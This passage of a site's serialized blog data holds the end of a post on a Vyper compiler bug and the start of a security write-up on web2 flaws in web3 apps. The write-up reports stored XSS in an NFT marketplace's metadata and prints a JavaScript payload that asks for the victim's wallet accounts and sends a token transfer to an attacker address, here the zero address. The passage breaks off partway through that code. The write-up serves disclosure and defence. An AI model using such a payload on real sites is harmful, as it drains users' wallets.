problem.",{"type":24,"tag":68,"props":34195,"children":34197},{"id":34196},"next-steps",[34198],{"type":30,"value":34199},"Next Steps",{"type":24,"tag":33,"props":34201,"children":34202},{},[34203],{"type":30,"value":34204},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":24,"tag":33,"props":34206,"children":34207},{},[34208,34210,34217],{"type":30,"value":34209},"It's important to note that this bug ",{"type":24,"tag":37,"props":34211,"children":34214},{"href":34212,"rel":34213},"https://twitter.com/real_philogy/status/1685948253139857409",[41],[34215],{"type":30,"value":34216},"was patched since November 2021",{"type":30,"value":436},{"type":24,"tag":6054,"props":34219,"children":34220},{},[34221],{"type":24,"tag":33,"props":34222,"children":34223},{},[34224,34226,34231,34232,34235,34237,34242],{"type":30,"value":34225},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":24,"tag":6032,"props":34227,"children":34228},{},[34229],{"type":30,"value":34230},"processes",{"type":30,"value":21633},{"type":24,"tag":34060,"props":34233,"children":34234},{},[],{"type":30,"value":34236},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":24,"tag":6032,"props":34238,"children":34239},{},[34240],{"type":30,"value":34241},"was",{"type":30,"value":34243}," fixed.",{"type":24,"tag":33,"props":34245,"children":34246},{},[34247],{"type":30,"value":34248},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":24,"tag":21523,"props":34250,"children":34252},{"className":34251,"dataFootnotes":7},[21526],[34253,34258],{"type":24,"tag":68,"props":34254,"children":34256},{"className":34255,"id":18584},[21531],[34257],{"type":30,"value":21534},{"type":24,"tag":478,"props":34259,"children":34260},{},[34261],{"type":24,"tag":100,"props":34262,"children":34263},{"id":33457},[34264,34266],{"type":30,"value":34265},"Thankfully, these funds were later returned. ",{"type":24,"tag":37,"props":34267,"children":34269},{"href":33485,"ariaLabel":21637,"className":34268,"dataFootnoteBackref":7},[21639],[34270],{"type":30,"value":21642},{"type":24,"tag":5957,"props":34272,"children":34273},{},[34274],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":34276},[34277,34278,34282,34283],{"id":33552,"depth":984,"text":33555},{"id":34120,"depth":984,"text":34123,"children":34279},[34280,34281],{"id":34135,"depth":993,"text":34138},{"id":34156,"depth":993,"text":34159},{"id":34196,"depth":984,"text":34199},{"id":18584,"depth":984,"text":21534},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":34288,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":34289,"description":34290,"author":34291,"image":34294,"date":34296,"isFeatured":16,"tags":34297,"onBlogPage":16,"body":34300,"_type":5983,"_id":38506,"_source":5985,"_file":38507,"_stem":38508,"_extension":5988},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[34292,34293],"caue","bruno",{"src":34295,"height":15,"width":15},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[34298,34299],"nft-marketplaces","xss",{"type":21,"children":34301,"toc":38489},[34302,34306,34311,34315,34320,34325,34330,34346,34352,34365,34387,34394,34399,34406,34411,34417,34422,34427,34432,34437,34448,34453,35418,35428,35440,35447,35452,36273,36278,36283,36288,36293,37077,37082,37164,37169,37238,37244,37249,37254,37481,37494,37499,37504,37509,37516,37521,37528,37534,37539,37544,37549,37868,37873,37879,37895,37901,37906,37911,37921,37926,37931,37940,37945,37951,37967,37980,37985,37990,38010,38017,38022,38029,38038,38043,38064,38117,38122,38173,38187,38192,38206,38320,38343,38427,38450,38455,38460,38464,38469,38474,38480,38485],{"type":24,"tag":68,"props":34303,"children":34304},{"id":27},[34305],{"type":30,"value":31},{"type":24,"tag":33,"props":34307,"children":34308},{},[34309],{"type":30,"value":34310},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":24,"tag":151,"props":34312,"children":34313},{"id":6039},[34314],{"type":30,"value":6042},{"type":24,"tag":33,"props":34316,"children":34317},{},[34318],{"type":30,"value":34319},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":24,"tag":33,"props":34321,"children":34322},{},[34323],{"type":30,"value":34324},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":24,"tag":68,"props":34326,"children":34327},{"id":34299},[34328],{"type":30,"value":34329},"XSS",{"type":24,"tag":33,"props":34331,"children":34332},{},[34333],{"type":24,"tag":6032,"props":34334,"children":34335},{},[34336,34338,34345],{"type":30,"value":34337},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":24,"tag":37,"props":34339,"children":34342},{"href":34340,"rel":34341},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[41],[34343],{"type":30,"value":34344},"even explain it to myself",{"type":30,"value":436},{"type":24,"tag":151,"props":34347,"children":34349},{"id":34348},"managing-metadata",[34350],{"type":30,"value":34351},"Managing Metadata",{"type":24,"tag":33,"props":34353,"children":34354},{},[34355,34357,34364],{"type":30,"value":34356},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":24,"tag":37,"props":34358,"children":34361},{"href":34359,"rel":34360},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[41],[34362],{"type":30,"value":34363},"payloads",{"type":30,"value":436},{"type":24,"tag":33,"props":34366,"children":34367},{},[34368,34370,34377,34379,34385],{"type":30,"value":34369},"We showcase this vulnerability in the ",{"type":24,"tag":37,"props":34371,"children":34374},{"href":34372,"rel":34373},"https://rocki.com/",[41],[34375],{"type":30,"value":34376},"Rocki Marketplace",{"type":30,"value":34378},". The ",{"type":24,"tag":156,"props":34380,"children":34382},{"className":34381},[],[34383],{"type":30,"value":34384},"artistDescription",{"type":30,"value":34386}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":24,"tag":33,"props":34388,"children":34389},{},[34390],{"type":24,"tag":140,"props":34391,"children":34393},{"alt":7,"src":34392},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":24,"tag":33,"props":34395,"children":34396},{},[34397],{"type":30,"value":34398},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":24,"tag":33,"props":34400,"children":34401},{},[34402],{"type":24,"tag":140,"props":34403,"children":34405},{"alt":7,"src":34404},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":24,"tag":33,"props":34407,"children":34408},{},[34409],{"type":30,"value":34410},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":24,"tag":151,"props":34412,"children":34414},{"id":34413},"wheres-my-wallet",[34415],{"type":30,"value":34416},"Where's My Wallet",{"type":24,"tag":33,"props":34418,"children":34419},{},[34420],{"type":30,"value":34421},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":24,"tag":33,"props":34423,"children":34424},{},[34425],{"type":30,"value":34426},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":24,"tag":33,"props":34428,"children":34429},{},[34430],{"type":30,"value":34431},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":24,"tag":33,"props":34433,"children":34434},{},[34435],{"type":30,"value":34436},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":24,"tag":34438,"props":34439,"children":34441},"div",{"style":34440},"display:flex; align-items:center; flex-direction:column;",[34442],{"type":24,"tag":140,"props":34443,"children":34447},{"src":34444,"alt":34445,"style":34446},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":24,"tag":33,"props":34449,"children":34450},{},[34451],{"type":30,"value":34452},"And here we can find the code used to achieve it :",{"type":24,"tag":920,"props":34454,"children":34458},{"className":34455,"code":34456,"language":34457,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[34459],{"type":24,"tag":156,"props":34460,"children":34461},{"__ignoreMap":7},[34462,34479,34524,34553,34569,34632,34667,34692,34717,34724,34744,34751,34767,34779,34786,34803,34820,34828,34835,34851,34867,34874,34882,34899,34911,34918,34934,34950,34957,34964,34981,34988,34996,35003,35050,35057,35121,35128,35148,35164,35180,35201,35272,35288,35295,35302,35340,35348,35355,35362,35369,35389],{"type":24,"tag":930,"props":34463,"children":34464},{"class":932,"line":933},[34465,34470,34475],{"type":24,"tag":930,"props":34466,"children":34467},{"style":937},[34468],{"type":30,"value":34469},"function",{"type":24,"tag":930,"props":34471,"children":34472},{"style":1002},[34473],{"type":30,"value":34474}," request",{"type":24,"tag":930,"props":34476,"children":34477},{"style":959},[34478],{"type":30,"value":18839},{"type":24,"tag":930,"props":34480,"children":34481},{"class":932,"line":984},[34482,34487,34491,34496,34501,34505,34510,34515,34520],{"type":24,"tag":930,"props":34483,"children":34484},{"style":1079},[34485],{"type":30,"value":34486},"  if",{"type":24,"tag":930,"props":34488,"children":34489},{"style":959},[34490],{"type":30,"value":1087},{"type":24,"tag":930,"props":34492,"children":34493},{"style":937},[34494],{"type":30,"value":34495},"typeof",{"type":24,"tag":930,"props":34497,"children":34498},{"style":1023},[34499],{"type":30,"value":34500}," window",{"type":24,"tag":930,"props":34502,"children":34503},{"style":959},[34504],{"type":30,"value":436},{"type":24,"tag":930,"props":34506,"children":34507},{"style":1023},[34508],{"type":30,"value":34509},"ethereum",{"type":24,"tag":930,"props":34511,"children":34512},{"style":1158},[34513],{"type":30,"value":34514}," ===",{"type":24,"tag":930,"props":34516,"children":34517},{"style":1270},[34518],{"type":30,"value":34519}," 'undefined'",{"type":24,"tag":930,"props":34521,"children":34522},{"style":959},[34523],{"type":30,"value":1503},{"type":24,"tag":930,"props":34525,"children":34526},{"class":932,"line":993},[34527,34532,34536,34540,34544,34549],{"type":24,"tag":930,"props":34528,"children":34529},{"style":1023},[34530],{"type":30,"value":34531},"    console",{"type":24,"tag":930,"props":34533,"children":34534},{"style":959},[34535],{"type":30,"value":436},{"type":24,"tag":930,"props":34537,"children":34538},{"style":1002},[34539],{"type":30,"value":17967},{"type":24,"tag":930,"props":34541,"children":34542},{"style":959},[34543],{"type":30,"value":1010},{"type":24,"tag":930,"props":34545,"children":34546},{"style":1270},[34547],{"type":30,"value":34548},"'Please install MetaMask to use this feature.'",{"type":24,"tag":930,"props":34550,"children":34551},{"style":959},[34552],{"type":30,"value":1278},{"type":24,"tag":930,"props":34554,"children":34555},{"class":932,"line":1057},[34556,34561,34565],{"type":24,"tag":930,"props":34557,"children":34558},{"style":959},[34559],{"type":30,"value":34560},"  } ",{"type":24,"tag":930,"props":34562,"children":34563},{"style":1079},[34564],{"type":30,"value":2317},{"type":24,"tag":930,"props":34566,"children":34567},{"style":959},[34568],{"type":30,"value":981},{"type":24,"tag":930,"props":34570,"children":34571},{"class":932,"line":1066},[34572,34577,34581,34586,34591,34596,34601,34606,34611,34616,34620,34624,34628],{"type":24,"tag":930,"props":34573,"children":34574},{"style":1023},[34575],{"type":30,"value":34576},"    ethereum",{"type":24,"tag":930,"props":34578,"children":34579},{"style":959},[34580],{"type":30,"value":436},{"type":24,"tag":930,"props":34582,"children":34583},{"style":1002},[34584],{"type":30,"value":34585},"request",{"type":24,"tag":930,"props":34587,"children":34588},{"style":959},[34589],{"type":30,"value":34590},"({ ",{"type":24,"tag":930,"props":34592,"children":34593},{"style":1023},[34594],{"type":30,"value":34595},"method:",{"type":24,"tag":930,"props":34597,"children":34598},{"style":1270},[34599],{"type":30,"value":34600}," 'eth_requestAccounts'",{"type":24,"tag":930,"props":34602,"children":34603},{"style":959},[34604],{"type":30,"value":34605}," }).",{"type":24,"tag":930,"props":34607,"children":34608},{"style":1002},[34609],{"type":30,"value":34610},"then",{"type":24,"tag":930,"props":34612,"children":34613},{"style":959},[34614],{"type":30,"value":34615},"((",{"type":24,"tag":930,"props":34617,"children":34618},{"style":1023},[34619],{"type":30,"value":17781},{"type":24,"tag":930,"props":34621,"children":34622},{"style":959},[34623],{"type":30,"value":5579},{"type":24,"tag":930,"props":34625,"children":34626},{"style":937},[34627],{"type":30,"value":17925},{"type":24,"tag":930,"props":34629,"children":34630},{"style":959},[34631],{"type":30,"value":981},{"type":24,"tag":930,"props":34633,"children":34634},{"class":932,"line":1075},[34635,34640,34645,34649,34654,34658,34662],{"type":24,"tag":930,"props":34636,"children":34637},{"style":937},[34638],{"type":30,"value":34639},"      const",{"type":24,"tag":930,"props":34641,"children":34642},{"style":1023},[34643],{"type":30,"value":34644}," fromAddress",{"type":24,"tag":930,"props":34646,"children":34647},{"style":1158},[34648],{"type":30,"value":6137},{"type":24,"tag":930,"props":34650,"children":34651},{"style":1023},[34652],{"type":30,"value":34653}," accounts",{"type":24,"tag":930,"props":34655,"children":34656},{"style":959},[34657],{"type":30,"value":6849},{"type":24,"tag":930,"props":34659,"children":34660},{"style":1242},[34661],{"type":30,"value":1818},{"type":24,"tag":930,"props":34663,"children":34664},{"style":959},[34665],{"type":30,"value":34666},"];\n",{"type":24,"tag":930,"props":34668,"children":34669},{"class":932,"line":1122},[34670,34674,34679,34683,34688],{"type":24,"tag":930,"props":34671,"children":34672},{"style":937},[34673],{"type":30,"value":34639},{"type":24,"tag":930,"props":34675,"children":34676},{"style":1023},[34677],{"type":30,"value":34678}," attackerAddress",{"type":24,"tag":930,"props":34680,"children":34681},{"style":1158},[34682],{"type":30,"value":6137},{"type":24,"tag":930,"props":34684,"children":34685},{"style":1270},[34686],{"type":30,"value":34687}," '0x0000000000000000000000000000000000000000'",{"type":24,"tag":930,"props":34689,"children":34690},{"style":959},[34691],{"type":30,"value":5539},{"type":24,"tag":930,"props":34693,"children":34694},{"class":932,"line":1131},[34695,34699,34704,34708,34713],{"type":24,"tag":930,"props":34696,"children":34697},{"style":937},[34698],{"type":30,"value":34639},{"type":24,"tag":930,"props":34700,"children":34701},{"style":1023},[34702],{"type":30,"value":34703}," contractAddress",{"type":24,"tag":930,"props":34705,"children":34706},{"style":1158},[34707],{"type":30,"value":6137},{"type":24,"tag":930,"props":34709,"children":34710},{"style":1270},[34711],{"type":30,"value":34712}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":24,"tag":930,"props":34714,"children":34715},{"style":959},[34716],{"type":30,"value":5539},{"type":24,"tag":930,"props":34718,"children":34719},{"class":932,"line":1144},[34720],{"type":24,"tag":930,"props":34721,"children":34722},{"emptyLinePlaceholder":16},[34723],{"type":30,"value":2412},{"type":24,"tag":930,"props":34725,"children":34726},{"class":932,"line":1169},[34727,34731,34736,34740],{"type":24,"tag":930,"props":34728,"children":34729},{"style":937},[34730],{"type":30,"value":11185},{"type":24,"tag":930,"props":34732,"children":34733},{"style":1023},[34734],{"type":30,"value":34735}," tokenAbi",{"type":24,"tag":930,"props":34737,"children":34738},{"style":1158},[34739],{"type":30,"value":6137},{"type":24,"tag":930,"props":34741,"children":34742},{"style":959},[34743],{"type":30,"value":28713},{"type":24,"tag":930,"props":34745,"children":34746},{"class":932,"line":1191},[34747],{"type":24,"tag":930,"props":34748,"children":34749},{"style":959},[34750],{"type":30,"value":2944},{"type":24,"tag":930,"props":34752,"children":34753},{"class":932,"line":1223},[34754,34759,34763],{"type":24,"tag":930,"props":34755,"children":34756},{"style":1023},[34757],{"type":30,"value":34758},"          constant:",{"type":24,"tag":930,"props":34760,"children":34761},{"style":937},[34762],{"type":30,"value":12167},{"type":24,"tag":930,"props":34764,"children":34765},{"style":959},[34766],{"type":30,"value":2832},{"type":24,"tag":930,"props":34768,"children":34769},{"class":932,"line":1281},[34770,34775],{"type":24,"tag":930,"props":34771,"children":34772},{"style":1023},[34773],{"type":30,"value":34774},"          inputs:",{"type":24,"tag":930,"props":34776,"children":34777},{"style":959},[34778],{"type":30,"value":28713},{"type":24,"tag":930,"props":34780,"children":34781},{"class":932,"line":1313},[34782],{"type":24,"tag":930,"props":34783,"children":34784},{"style":959},[34785],{"type":30,"value":3068},{"type":24,"tag":930,"props":34787,"children":34788},{"class":932,"line":1335},[34789,34794,34799],{"type":24,"tag":930,"props":34790,"children":34791},{"style":1023},[34792],{"type":30,"value":34793},"              name:",{"type":24,"tag":930,"props":34795,"children":34796},{"style":1270},[34797],{"type":30,"value":34798}," '_to'",{"type":24,"tag":930,"props":34800,"children":34801},{"style":959},[34802],{"type":30,"value":2832},{"type":24,"tag":930,"props":34804,"children":34805},{"class":932,"line":1376},[34806,34811,34816],{"type":24,"tag":930,"props":34807,"children":34808},{"style":1023},[34809],{"type":30,"value":34810},"              type:",{"type":24,"tag":930,"props":34812,"children":34813},{"style":1270},[34814],{"type":30,"value":34815}," 'address'",{"type":24,"tag":930,"props":34817,"children":34818},{"style":959},[34819],{"type":30,"value":2832},{"type":24,"tag":930,"props":34821,"children":34822},{"class":932,"line":1418},[34823],{"type":24,"tag":930,"props":34824,"children":34825},{"style":959},[34826],{"type":30,"value":34827},"            },\n",{"type":24,"tag":930,"props":34829,"children":34830},{"class":932,"line":1438},[34831],{"type":24,"tag":930,"props":34832,"children":34833},{"style":959},[34834],{"type":30,"value":3068},{"type":24,"tag":930,"props":34836,"children":34837},{"class":932,"line":1479},[34838,34842,34847],{"type":24,"tag":930,"props":34839,"children":34840},{"style":1023},[34841],{"type":30,"value":34793},{"type":24,"tag":930,"props":34843,"children":34844},{"style":1270},[34845],{"type":30,"value":34846}," '_value'",{"type":24,"tag":930,"props":34848,"children":34849},{"style":959},[34850],{"type":30,"value":2832},{"type":24,"tag":930,"props":34852,"children":34853},{"class":932,"line":1506},[34854,34858,34863],{"type":24,"tag":930,"props":34855,"children":34856},{"style":1023},[34857],{"type":30,"value":34810},{"type":24,"tag":930,"props":34859,"children":34860},{"style":1270},[34861],{"type":30,"value":34862}," 'uint256'",{"type":24,"tag":930,"props":34864,"children":34865},{"style":959},[34866],{"type":30,"value":2832},{"type":24,"tag":930,"props":34868,"children":34869},{"class":932,"line":1525},[34870],{"type":24,"tag":930,"props":34871,"children":34872},{"style":959},[34873],{"type":30,"value":34827},{"type":24,"tag":930,"props":34875,"children":34876},{"class":932,"line":1569},[34877],{"type":24,"tag":930,"props":34878,"children":34879},{"style":959},[34880],{"type":30,"value":34881},"          ],\n",{"type":24,"tag":930,"props":34883,"children":34884},{"class":932,"line":1592},[34885,34890,34895],{"type":24,"tag":930,"props":34886,"children":34887},{"style":1023},[34888],{"type":30,"value":34889},"          name:",{"type":24,"tag":930,"props":34891,"children":34892},{"style":1270},[34893],{"type":30,"value":34894}," 'transfer'",{"type":24,"tag":930,"props":34896,"children":34897},{"style":959},[34898],{"type":30,"value":2832},{"type":24,"tag":930,"props":34900,"children":34901},{"class":932,"line":1610},[34902,34907],{"type":24,"tag":930,"props":34903,"children":34904},{"style":1023},[34905],{"type":30,"value":34906},"          outputs:",{"type":24,"tag":930,"props":34908,"children":34909},{"style":959},[34910],{"type":30,"value":28713},{"type":24,"tag":930,"props":34912,"children":34913},{"class":932,"line":1628},[34914],{"type":24,"tag":930,"props":34915,"children":34916},{"style":959},[34917],{"type":30,"value":3068},{"type":24,"tag":930,"props":34919,"children":34920},{"class":932,"line":1637},[34921,34925,34930],{"type":24,"tag":930,"props":34922,"children":34923},{"style":1023},[34924],{"type":30,"value":34793},{"type":24,"tag":930,"props":34926,"children":34927},{"style":1270},[34928],{"type":30,"value":34929}," ''",{"type":24,"tag":930,"props":34931,"children":34932},{"style":959},[34933],{"type":30,"value":2832},{"type":24,"tag":930,"props":34935,"children":34936},{"class":932,"line":1646},[34937,34941,34946],{"type":24,"tag":930,"props":34938,"children":34939},{"style":1023},[34940],{"type":30,"value":34810},{"type":24,"tag":930,"props":34942,"children":34943},{"style":1270},[34944],{"type":30,"value":34945}," 'bool'",{"type":24,"tag":930,"props":34947,"children":34948},{"style":959},[34949],{"type":30,"value":2832},{"type":24,"tag":930,"props":34951,"children":34952},{"class":932,"line":1673},[34953],{"type":24,"tag":930,"props":34954,"children":34955},{"style":959},[34956],{"type":30,"value":34827},{"type":24,"tag":930,"props":34958,"children":34959},{"class":932,"line":1692},[34960],{"type":24,"tag":930,"props":34961,"children":34962},{"style":959},[34963],{"type":30,"value":34881},{"type":24,"tag":930,"props":34965,"children":34966},{"class":932,"line":1730},[34967,34972,34977],{"type":24,"tag":930,"props":34968,"children":34969},{"style":1023},[34970],{"type":30,"value":34971},"          type:",{"type":24,"tag":930,"props":34973,"children":34974},{"style":1270},[34975],{"type":30,"value":34976}," 'function'",{"type":24,"tag":930,"props":34978,"children":34979},{"style":959},[34980],{"type":30,"value":2832},{"type":24,"tag":930,"props":34982,"children":34983},{"class":932,"line":1762},[34984],{"type":24,"tag":930,"props":34985,"children":34986},{"style":959},[34987],{"type":30,"value":28465},{"type":24,"tag":930,"props":34989,"children":34990},{"class":932,"line":1775},[34991],{"type":24,"tag":930,"props":34992,"children":34993},{"style":959},[34994],{"type":30,"value":34995},"      ];\n",{"type":24,"tag":930,"props":34997,"children":34998},{"class":932,"line":1825},[34999],{"type":24,"tag":930,"props":35000,"children":35001},{"emptyLinePlaceholder":16},[35002],{"type":30,"value":2412},{"type":24,"tag":930,"props":35004,"children":35005},{"class":932,"line":1834},[35006,35010,35015,35019,35024,35029,35033,35038,35042,35046],{"type":24,"tag":930,"props":35007,"children":35008},{"style":937},[35009],{"type":30,"value":34639},{"type":24,"tag":930,"props":35011,"children":35012},{"style":1023},[35013],{"type":30,"value":35014}," web3",{"type":24,"tag":930,"props":35016,"children":35017},{"style":1158},[35018],{"type":30,"value":6137},{"type":24,"tag":930,"props":35020,"children":35021},{"style":937},[35022],{"type":30,"value":35023}," new",{"type":24,"tag":930,"props":35025,"children":35026},{"style":1002},[35027],{"type":30,"value":35028}," Web3",{"type":24,"tag":930,"props":35030,"children":35031},{"style":959},[35032],{"type":30,"value":1010},{"type":24,"tag":930,"props":35034,"children":35035},{"style":1023},[35036],{"type":30,"value":35037},"window",{"type":24,"tag":930,"props":35039,"children":35040},{"style":959},[35041],{"type":30,"value":436},{"type":24,"tag":930,"props":35043,"children":35044},{"style":1023},[35045],{"type":30,"value":34509},{"type":24,"tag":930,"props":35047,"children":35048},{"style":959},[35049],{"type":30,"value":1278},{"type":24,"tag":930,"props":35051,"children":35052},{"class":932,"line":1843},[35053],{"type":24,"tag":930,"props":35054,"children":35055},{"emptyLinePlaceholder":16},[35056],{"type":30,"value":2412},{"type":24,"tag":930,"props":35058,"children":35059},{"class":932,"line":1851},[35060,35064,35069,35073,35077,35081,35085,35090,35094,35099,35103,35108,35112,35117],{"type":24,"tag":930,"props":35061,"children":35062},{"style":937},[35063],{"type":30,"value":34639},{"type":24,"tag":930,"props":35065,"children":35066},{"style":1023},[35067],{"type":30,"value":35068}," tokenContract",{"type":24,"tag":930,"props":35070,"children":35071},{"style":1158},[35072],{"type":30,"value":6137},{"type":24,"tag":930,"props":35074,"children":35075},{"style":937},[35076],{"type":30,"value":35023},{"type":24,"tag":930,"props":35078,"children":35079},{"style":1023},[35080],{"type":30,"value":35014},{"type":24,"tag":930,"props":35082,"children":35083},{"style":959},[35084],{"type":30,"value":436},{"type":24,"tag":930,"props":35086,"children":35087},{"style":1023},[35088],{"type":30,"value":35089},"eth",{"type":24,"tag":930,"props":35091,"children":35092},{"style":959},[35093],{"type":30,"value":436},{"type":24,"tag":930,"props":35095,"children":35096},{"style":1002},[35097],{"type":30,"value":35098},"Contract",{"type":24,"tag":930,"props":35100,"children":35101},{"style":959},[35102],{"type":30,"value":1010},{"type":24,"tag":930,"props":35104,"children":35105},{"style":1023},[35106],{"type":30,"value":35107},"tokenAbi",{"type":24,"tag":930,"props":35109,"children":35110},{"style":959},[35111],{"type":30,"value":962},{"type":24,"tag":930,"props":35113,"children":35114},{"style":1023},[35115],{"type":30,"value":35116},"contractAddress",{"type":24,"tag":930,"props":35118,"children":35119},{"style":959},[35120],{"type":30,"value":1278},{"type":24,"tag":930,"props":35122,"children":35123},{"class":932,"line":1919},[35124],{"type":24,"tag":930,"props":35125,"children":35126},{"emptyLinePlaceholder":16},[35127],{"type":30,"value":2412},{"type":24,"tag":930,"props":35129,"children":35130},{"class":932,"line":1927},[35131,35135,35140,35144],{"type":24,"tag":930,"props":35132,"children":35133},{"style":937},[35134],{"type":30,"value":34639},{"type":24,"tag":930,"props":35136,"children":35137},{"style":1023},[35138],{"type":30,"value":35139}," transactionObject",{"type":24,"tag":930,"props":35141,"children":35142},{"style":1158},[35143],{"type":30,"value":6137},{"type":24,"tag":930,"props":35145,"children":35146},{"style":959},[35147],{"type":30,"value":981},{"type":24,"tag":930,"props":35149,"children":35150},{"class":932,"line":1935},[35151,35156,35160],{"type":24,"tag":930,"props":35152,"children":35153},{"style":1023},[35154],{"type":30,"value":35155},"        from:",{"type":24,"tag":930,"props":35157,"children":35158},{"style":1023},[35159],{"type":30,"value":34644},{"type":24,"tag":930,"props":35161,"children":35162},{"style":959},[35163],{"type":30,"value":2832},{"type":24,"tag":930,"props":35165,"children":35166},{"class":932,"line":1943},[35167,35172,35176],{"type":24,"tag":930,"props":35168,"children":35169},{"style":1023},[35170],{"type":30,"value":35171},"        to:",{"type":24,"tag":930,"props":35173,"children":35174},{"style":1023},[35175],{"type":30,"value":34703},{"type":24,"tag":930,"props":35177,"children":35178},{"style":959},[35179],{"type":30,"value":2832},{"type":24,"tag":930,"props":35181,"children":35182},{"class":932,"line":1955},[35183,35188,35192,35196],{"type":24,"tag":930,"props":35184,"children":35185},{"style":1023},[35186],{"type":30,"value":35187},"        data:",{"type":24,"tag":930,"props":35189,"children":35190},{"style":1023},[35191],{"type":30,"value":35068},{"type":24,"tag":930,"props":35193,"children":35194},{"style":959},[35195],{"type":30,"value":436},{"type":24,"tag":930,"props":35197,"children":35198},{"style":1023},[35199],{"type":30,"value":35200},"methods\n",{"type":24,"tag":930,"props":35202,"children":35203},{"class":932,"line":1975},[35204,35209,35214,35218,35223,35227,35232,35236,35241,35245,35250,35254,35259,35263,35268],{"type":24,"tag":930,"props":35205,"children":35206},{"style":959},[35207],{"type":30,"value":35208},"          .",{"type":24,"tag":930,"props":35210,"children":35211},{"style":1002},[35212],{"type":30,"value":35213},"transfer",{"type":24,"tag":930,"props":35215,"children":35216},{"style":959},[35217],{"type":30,"value":1010},{"type":24,"tag":930,"props":35219,"children":35220},{"style":1023},[35221],{"type":30,"value":35222},"attackerAddress",{"type":24,"tag":930,"props":35224,"children":35225},{"style":959},[35226],{"type":30,"value":962},{"type":24,"tag":930,"props":35228,"children":35229},{"style":1023},[35230],{"type":30,"value":35231},"web3",{"type":24,"tag":930,"props":35233,"children":35234},{"style":959},[35235],{"type":30,"value":436},{"type":24,"tag":930,"props":35237,"children":35238},{"style":1023},[35239],{"type":30,"value":35240},"utils",{"type":24,"tag":930,"props":35242,"children":35243},{"style":959},[35244],{"type":30,"value":436},{"type":24,"tag":930,"props":35246,"children":35247},{"style":1002},[35248],{"type":30,"value":35249},"toWei",{"type":24,"tag":930,"props":35251,"children":35252},{"style":959},[35253],{"type":30,"value":1010},{"type":24,"tag":930,"props":35255,"children":35256},{"style":1270},[35257],{"type":30,"value":35258},"'100000000'",{"type":24,"tag":930,"props":35260,"children":35261},{"style":959},[35262],{"type":30,"value":962},{"type":24,"tag":930,"props":35264,"children":35265},{"style":1270},[35266],{"type":30,"value":35267},"'ether'",{"type":24,"tag":930,"props":35269,"children":35270},{"style":959},[35271],{"type":30,"value":22815},{"type":24,"tag":930,"props":35273,"children":35274},{"class":932,"line":1995},[35275,35279,35284],{"type":24,"tag":930,"props":35276,"children":35277},{"style":959},[35278],{"type":30,"value":35208},{"type":24,"tag":930,"props":35280,"children":35281},{"style":1002},[35282],{"type":30,"value":35283},"encodeABI",{"type":24,"tag":930,"props":35285,"children":35286},{"style":959},[35287],{"type":30,"value":6607},{"type":24,"tag":930,"props":35289,"children":35290},{"class":932,"line":2061},[35291],{"type":24,"tag":930,"props":35292,"children":35293},{"style":959},[35294],{"type":30,"value":12030},{"type":24,"tag":930,"props":35296,"children":35297},{"class":932,"line":2085},[35298]